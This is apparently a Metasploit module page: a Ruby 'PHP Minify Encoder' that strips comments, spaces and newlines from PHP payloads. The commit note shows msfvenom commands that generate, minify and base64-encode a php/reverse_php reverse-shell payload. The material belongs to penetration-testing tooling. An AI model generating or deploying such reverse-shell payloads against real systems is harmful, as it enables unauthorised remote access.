jvoisin
5b94c7e2d4
```console $ ./msfvenom --platform php -a php -p php/reverse_php | ./msfvenom -e php/base64 --platform php -a php | php -l Attempting to read payload from STDIN... No encoder specified, outputting raw payload Payload size: 3010 bytes Found 1 compatible encoders Attempting to encode payload with 1 iterations of php/base64 php/base64 succeeded with size 4052 (iteration=0) php/base64 chosen with final size 4052 Payload size: 4052 bytes No syntax errors detected in Standard input code $ ./msfvenom --platform php -a php -p php/reverse_php -e php/minify | ./msfvenom -e php/base64 --platform php -a php | php -l Attempting to read payload from STDIN... Found 1 compatible encoders Attempting to encode payload with 1 iterations of php/minify php/minify succeeded with size 2109 (iteration=0) php/minify chosen with final size 2109 Payload size: 2109 bytes Found 1 compatible encoders Attempting to encode payload with 1 iterations of php/base64 php/base64 succeeded with size 2839 (iteration=0) php/base64 chosen with final size 2839 Payload size: 2839 bytes No syntax errors detected in Standard input code $ ```
43 lines
967 B
Ruby
43 lines
967 B
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Encoder
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Rank = GreatRanking
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def initialize
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super(
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'Name' => 'PHP Minify Encoder',
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'Description' => %q{
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This encoder minifies a PHP payload by removing leasing spaces, trailing
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new lines, comments, …
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},
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'Author' => 'Julien Voisin',
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'License' => BSD_LICENSE,
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'Arch' => ARCH_PHP)
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end
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def encode_block(_, buf)
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# Remove comments
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buf.gsub!(/^\s*#.*$/, '')
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# Remove spaces after keywords
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buf.gsub!(/^\s*(if|else|elsif|while|for|foreach)\s*\(/, '\1(')
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# Remove spaces before block opening
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buf.gsub!(/\s*{$/, '{')
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# Remove empty lines
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buf.squeeze!("\n")
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# Remove leading/trailing spaces
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buf.gsub!(/^[ \t]+/, '')
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# Remove new lines
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buf.gsub!(/([;{}])\n/, '\1')
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return buf
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end
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end
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